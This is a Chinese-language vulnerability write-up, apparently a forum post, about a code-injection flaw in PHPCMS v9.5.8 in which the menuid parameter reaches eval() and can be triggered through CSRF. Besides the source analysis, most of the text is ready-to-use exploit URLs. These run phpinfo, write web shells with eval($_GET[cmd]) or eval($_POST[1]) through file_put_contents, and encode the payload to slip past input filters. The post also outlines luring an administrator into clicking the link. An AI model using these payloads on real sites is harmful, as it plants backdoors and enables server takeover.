http://127.0.0.1/index.php?m=content&c=content&a=public_sub_categorys&menuid=%7B$%7Bfile_put_contents($_GET[file],$_GET[shell])%7D%7D&file=caches/error_lag.php&shell=%3C%3Fphp%0A@eval%28%24_POST%5B1%5D%29%3B%3F%3E
最新版PHPCMS利用CSRF轻轻松松GetShell
下载了最新的PHPCMS,用脚本扫描危险函数,扫到不少,挨个分析,终于找到一个可以利用CSRF轻轻松松GetShell的地方
文件/phpcms/modules/content/content.php
public function public_sub_categorys() { $cfg = getcache('common','commons'); $ajax_show = intval(abs($cfg['category_ajax'])); $catid = intval($_POST['root']); $modelid = intval($_POST['modelid']); $this->categorys = getcache('category_content_'.$this->siteid,'commons'); $tree = pc_base::load_sys_class('tree'); if(!empty($this->categorys)) { foreach($this->categorys as $r) { if($r['siteid']!=$this->siteid || ($r['type']==2 && $r['child']==0)) continue; if($from=='content' && $_SESSION['roleid'] != 1 && !in_array($r['catid'],$priv_catids)) { $arrchildid = explode(',',$r['arrchildid']); $array_intersect = array_intersect($priv_catids,$arrchildid); if(empty($array_intersect)) continue; } if($r['type']==1 || $from=='block') { if($r['type']==0) { $r['vs_show'] = "[".L('content_page')."]"; } else { $r['vs_show'] =''; } $r['icon_type'] = 'file'; $r['add_icon'] = ''; $r['type'] = 'add'; } else { $r['icon_type'] = $r['vs_show'] = ''; $r['type'] = 'init'; $r['add_icon'] = " "; } $categorys[$r['catid']] = $r; } } if(!empty($categorys)) { $tree->init($categorys); switch($from) { case 'block': $strs = "\$add_icon\$catname \$vs_show"; break; default: $strs = "\$add_icon\$catname"; break; } $data = $tree->creat_sub_json($catid,$strs); } echo $data; }
看最后面几行:
if(!empty($categorys)) { $tree->init($categorys); switch($from) { case 'block': $strs = "\$add_icon\$catname \$vs_show"; break; default: $strs = "\$add_icon\$catname"; break; } $data = $tree->creat_sub_json($catid,$strs); } echo $data;
这里$_GET['menuid']进入了变量$strs,然后变量$strs进入了函数creat_sub_json
跟进creat_sub_json函数
文件/phpcms/libs/classes/tree.class.php
/** * 获取子栏目json * Enter description here ... * @param unknown_type $myid */ public function creat_sub_json($myid, $str='') { $sub_cats = $this->get_child($myid); $n = 0; if(is_array($sub_cats)) foreach($sub_cats as $c) { $data[$n]['id'] = iconv(CHARSET,'utf-8',$c['catid']); if($this->get_child($c['catid'])) { $data[$n]['liclass'] = 'hasChildren'; $data[$n]['children'] = array(array('text'=>' ','classes'=>'placeholder')); $data[$n]['classes'] = 'folder'; $data[$n]['text'] = iconv(CHARSET,'utf-8',$c['catname']); } else { if($str) { @extract(array_iconv($c,CHARSET,'utf-8')); //echo "\$data[$n]['text'] = \"$str\";"; eval("\$data[$n]['text'] = \"$str\";"); } else { $data[$n]['text'] = iconv(CHARSET,'utf-8',$c['catname']); } } $n++; } return json_encode($data); }
经过一系列处理,最后$strs进入了eval函数
这样一来,$_GET['menuid']就直接进入了eval函数了,这样可能导致代码执行啊~~~
漏洞证明,后台登陆:
http://10.65.20.198/phpcms_v9.5.8_UTF8/index.php?m=content&c=content&a=public_sub_categorys&menuid={${phpinfo()}}
发送上面的请求,如下,果然代码执行了。。。而且这里没有pc_hash也是可以直接执行的,这不就成了CSRF了么?!!!!
下面我们来看怎么利用,因为在提交单双引号时会被转义,无法直接写shell,我们发送如下请求:
http://10.65.20.198/phpcms_v9.5.8_UTF8/index.php?m=content&c=content&a=public_sub_categorys&menuid={${file_put_contents($_GET[file],$_GET[shell])}}&file=shell.php&shell=
成功在根目录下生成shell.php文件。。。
那么我们把这个链接来申请链接,当管理点击这个链接查看是即可getshell,太简单了,试试看
注意:
这里在提交申请链接的连接时,会把大括号和空格过滤掉,导致写shell失败,我们这么编码一下即可:
http://10.65.20.198/phpcms_v9.5.8_UTF8/index.php?m=content&c=content&a=public_sub_categorys&menuid=%7B%24%7Bfile_put_contents($_GET[file],$_GET[shell])%7D%7D&file=shell.php&shell=%3C%3Fphp%0Aeval%28%24_GET%5Bcmd%5D%29%3B%0A%3F%3E